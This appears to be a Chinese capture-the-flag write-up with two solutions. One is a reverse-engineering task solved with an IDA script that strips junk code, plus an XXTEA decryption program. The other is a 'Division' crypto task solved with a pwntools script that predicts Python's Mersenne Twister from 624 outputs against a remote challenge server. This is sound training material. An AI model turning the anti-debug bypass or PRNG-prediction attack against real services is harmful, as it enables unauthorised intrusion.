46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
static NopCode(Addr, Length)
{
auto i;
for (i = 0; i < Length; i++)
{
PatchByte(Addr + i, 0x90);
}
}

static rol(value, count, bits = 32)
{
count = count % bits;
return ((value << count) | (value >> (bits - count))) & ((1 << bits) - 1);
}

// 搜索真实汇编代码的下一个地址
static FindEnd(Addr)
{
auto i;
for (i = 0; i < 0x90; i++)
{
auto v = Dword(Addr + i);
if (v == 0x5153509C)
{
return Addr + i;
}
}
return 0;
}

// 搜索最后的jmp rax指令
static FindJmpRax(Addr)
{
auto i;
for (i = 0; i < 0x90; i++)
{
auto v = Word(Addr + i);
if (v == 0xE0FF)
{
return Addr + i;
}
}
return 0;
}

// 搜索call $+5
static FindCall(Addr)
{
auto i;
for (i = 0; i < 0x90; i++)
{
auto v = Dword(Addr + i);
if (v == 0xE8)
{
return Addr + i;
}
}
return 0;
}

static main()
{
auto StartAddr = 0x1401F400D;
while (1)
{
auto EndAddr = FindEnd(StartAddr);
if (EndAddr == 0)
{
break;
}

auto CodeLength = EndAddr - StartAddr - 13;
auto CallAddr = FindCall(StartAddr + 13 + CodeLength);
if (CallAddr == 0)
{
break;
}

auto CalcAddr = CallAddr + 5;
auto ebx = Dword(CalcAddr + 2);
auto rol_Value = Byte(CalcAddr + 8);
auto Mode = Dword(CalcAddr + 9);
ebx = rol(ebx, rol_Value);

auto JmpRaxAddr = FindJmpRax(StartAddr);
if (JmpRaxAddr == 0)
{
break;
}

auto TrushCodeLength_1 = CallAddr - (StartAddr + 13 + CodeLength);
auto TrushCodeLength_2 = JmpRaxAddr - CallAddr + 2;

NopCode(CallAddr, TrushCodeLength_2);
NopCode(StartAddr, 13);
NopCode(StartAddr + 13 + CodeLength, TrushCodeLength_1);

if (Mode == 0xffC32B48)
{
CalcAddr = CalcAddr - ebx;
}
if (Mode == 0xffC30348)
{
CalcAddr = CalcAddr + ebx;
}

auto JmpCodeAddr = EndAddr;
auto JmpOffset = CalcAddr - JmpCodeAddr + 5;
PatchByte(JmpCodeAddr, 0xE9);
PatchDword(JmpCodeAddr + 1, JmpOffset);

StartAddr = CalcAddr;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
__int64 i; // rcx
int result; // eax
_DWORD *v5; // rdi
HANDLE CurrentProcess; // rax
__int64 v7; // [rsp-20h] [rbp-468h] BYREF
_DWORD v8[2]; // [rsp+0h] [rbp-448h] BYREF
_BYTE v9[64]; // [rsp+8h] [rbp-440h] BYREF
_BYTE *v10; // [rsp+48h] [rbp-400h]
unsigned int v11; // [rsp+64h] [rbp-3E4h]
unsigned int v12; // [rsp+84h] [rbp-3C4h]
unsigned int v13; // [rsp+A4h] [rbp-3A4h]
int v14; // [rsp+C4h] [rbp-384h]
unsigned int v15; // [rsp+E4h] [rbp-364h]
unsigned int k; // [rsp+104h] [rbp-344h]
unsigned int v17; // [rsp+124h] [rbp-324h]
int v18; // [rsp+144h] [rbp-304h]
int v19; // [rsp+164h] [rbp-2E4h]
_DWORD v20[11]; // [rsp+188h] [rbp-2C0h] BYREF
unsigned __int16 v21; // [rsp+1B4h] [rbp-294h]
BOOL v22; // [rsp+1D4h] [rbp-274h] BYREF
unsigned __int64 j; // [rsp+1F8h] [rbp-250h]
unsigned __int64 v24; // [rsp+218h] [rbp-230h]
int v25[16]; // [rsp+238h] [rbp-210h]
unsigned __int64 m; // [rsp+278h] [rbp-1D0h]
unsigned int v27; // [rsp+404h] [rbp-44h]
unsigned int v28; // [rsp+408h] [rbp-40h]
unsigned int v29; // [rsp+40Ch] [rbp-3Ch]
__int64 v30; // [rsp+410h] [rbp-38h]
unsigned int v31; // [rsp+418h] [rbp-30h]
unsigned __int64 v32; // [rsp+420h] [rbp-28h]

v5 = v8;
for ( i = 174i64; i; --i )
*v5++ = -858993460;
v32 = (unsigned __int64)v8 ^ 0x1401D9000i64;
j___CheckForDebuggerJustMyCode(0x1401ED101i64);
memset(v9, 0, 0x20ui64);
sub_140087C02(0x1401A1190i64);
if ( !IsDebuggerPresent() )
{
sub_1400868E3();
v10 = v9;
memset(v20, 0, 0x10ui64);
v21 = 8;
v27 = 8;
v18 = 12;
v13 = 0;
v14 = 1640531526;
v19 = -1788458168;
v17 = 7;
v22 = 0;
CurrentProcess = GetCurrentProcess();
CheckRemoteDebuggerPresent(CurrentProcess, &v22);
if ( !v22 )
{
j_srand(0xAABBu);
for ( j = 0i64; j < 4; ++j )
v20[j] = j_rand();
while ( 1 )
{
v27 = v17--;
v28 = v27 != 0;
if ( !v28 )
break;
v13 += v14;
v15 = (v13 >> 2) & 3;
for ( k = 0; k < v21; ++k )
{
v24 = __rdtsc();
v11 = *(_DWORD *)&v10[4 * ((k + 1) % v21)];
v27 = (4 * v11) ^ (*(_DWORD *)&v10[4 * ((k + v21 - 1) % v21)] >> 5);
v28 = k + v21 - 1;
v29 = ((16 * *(_DWORD *)&v10[4 * (v28 % v21)]) ^ (v11 >> 3)) + v27;
v30 = ((unsigned __int8)v15 ^ (unsigned __int8)k) & 3;
v31 = (((*(_DWORD *)&v10[4 * (v28 % v21)] ^ v20[v30]) + (v11 ^ v13)) ^ v29) + *(_DWORD *)&v10[4 * k];
*(_DWORD *)&v10[4 * k] = v31;
v12 = v31;
if ( __rdtsc() - v24 > 0x83C0 )
goto LABEL_21;
}
}
v25[0] = 0xA9934E2F;
v25[1] = 0x30B90FA;
v25[2] = 0xDCBF1D3;
v25[3] = 0x328B5BDE;
v25[4] = 0x44FAB4E;
v25[5] = 0x1DCF0051;
v25[6] = 0x85EBBE55;
v25[7] = 0x93AA773A;
for ( m = 0i64; m < 4; ++m )
{
if ( v25[m] != v8[m + 2] )
{
sub_140087C02(0x1401A11A8i64);
j_system(byte_1401A11A0);
goto LABEL_21;
}
}
sub_140087C02(0x1401A11C0i64);
j_system(byte_1401A11A0);
}
}
LABEL_21:
j__RTC_CheckStackVars(&v7, (_RTC_framedesc *)&unk_1401A1140);
j___security_check_cookie((unsigned __int64)v8 ^ v32);
return result;
}

解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <iostream>
#define DELTA 0x61C88646
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void xxtea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 7;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
if (z == 0xA4F41487)
printf("11\n");
if (y == 0xA4F41487)
printf("11\n");
}
y = v[0];
z = v[n - 1] += MX;

} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 7;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

int main()
{
srand(0xAABB);
uint32_t key[4]{};
uint32_t Enc[]{
0xa9934e2f, 0x30b90fa, 0xdcbf1d3, 0x328b5bde,
0x44fab4e, 0x1dcf0051, 0x85ebbe55, 0x93aa773a};

for (int i = 0; i < 4; i++)
{
key[i] = rand();
}
xxtea(Enc, -8, key);
printf("%.32s\n", Enc);
return 0;
}

Crypto

Division

deepseek做的,计算11000//10000即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*- encoding: utf-8 -*-
'''
@File : server.py
@Time : 2025/03/20 12:25:03
@Author : LamentXU
'''
import random
print('----Welcome to my division calc----')
print('''
menu:
[1] Division calc
[2] Get flag
''')
while True:
choose = input(': >>> ')
if choose == '1':
try:
denominator = int(input('input the denominator: >>> '))
except:
print('INPUT NUMBERS')
continue
nominator = random.getrandbits(32)
if denominator == '0':
print('NO YOU DONT')
continue
else:
print(f'{nominator}//{denominator} = {nominator//denominator}')
elif choose == '2':
try:
ans = input('input the answer: >>> ')
rand1 = random.getrandbits(11000)
rand2 = random.getrandbits(10000)
correct_ans = rand1 // rand2
if correct_ans == int(ans):
print('WOW')
with open('flag', 'r') as f:
print(f'Here is your flag: {f.read()}')
else:
print(f'NOPE, the correct answer is {correct_ans}')
except:
print('INPUT NUMBERS')
else:
print('Invalid choice')

`

利用mt19937predictor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from mt19937predictor import MT19937Predictor

r = remote('8.147.132.32 ',36646)

p = MT19937Predictor()

for i in range(624):
r.sendlineafter(b'>>> ',b'1')
r.sendlineafter(b'>>> ',b'123')
x = int(r.recvuntil(b'//')[:-2])
p.setrandbits(x, 32)

rand1 = p.getrandbits(11000)
rand2 = p.getrandbits(10000)

r.sendlineafter(b'>>> ',b'2')
r.sendlineafter(b'>>> ',str(rand1//rand2).encode())

r.interactive()